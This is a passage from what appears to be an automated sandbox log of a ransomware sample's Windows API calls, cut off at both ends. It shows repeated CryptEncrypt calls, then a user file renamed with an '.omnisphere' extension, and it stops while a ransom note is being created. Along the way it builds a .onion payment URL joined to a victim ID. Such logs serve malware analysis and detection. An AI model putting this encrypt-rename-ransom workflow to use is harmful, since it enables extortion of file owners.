pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.348] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.349] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.349] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.349] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.349] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.349] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.349] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.349] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.349] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.349] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.349] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.349] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.349] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.349] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.349] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.349] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.349] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.349] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.349] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.349] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.349] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.349] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.349] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.349] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.349] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.349] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.349] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.349] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.350] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.350] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.350] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.350] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.350] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.350] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.350] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.350] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.350] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.350] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.358] CryptDestroyKey (hKey=0x1639b68) returned 1 [0083.358] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0083.358] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x51722, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0083.358] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0083.358] GetProcessHeap () returned 0x1600000 [0083.358] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2d8) returned 0x1637218 [0083.358] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\apasixtheditionofficeonline.xsl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\apasixtheditionofficeonline.xsl.omnisphere")) returned 1 [0083.366] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl.omnisphere.id" [0083.366] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\apasixtheditionofficeonline.xsl.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0083.367] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0088.234] CloseHandle (hObject=0x3c0) returned 1 [0088.235] UnmapViewOfFile (lpBaseAddress=0x3c00000) returned 1 [0088.237] CloseHandle (hObject=0x288) returned 1 [0088.237] SetEndOfFile (hFile=0x28c) returned 1 [0088.237] FlushFileBuffers (hFile=0x28c) returned 1 [0088.568] CloseHandle (hObject=0x28c) returned 1 [0088.568] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned 1 [0088.568] GetProcessHeap () returned 0x1600000 [0088.569] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16374f8 [0088.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0088.569] GetProcessHeap () returned 0x1600000 [0088.569] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f210 [0088.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f210, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0088.569] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0088.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0088.569] GetProcessHeap () returned 0x1600000 [0088.569] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f610 [0088.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f610, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0088.569] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0088.569] GetProcessHeap () returned 0x1600000 [0088.569] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb8) returned 0x166a278 [0088.569] PathCombineW (in: pszDest=0x166a278, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt" [0088.569] GetProcessHeap () returned 0x1600000 [0088.569] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x167eab8 [0088.569] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\!decrypt_omnisphere.txt"), 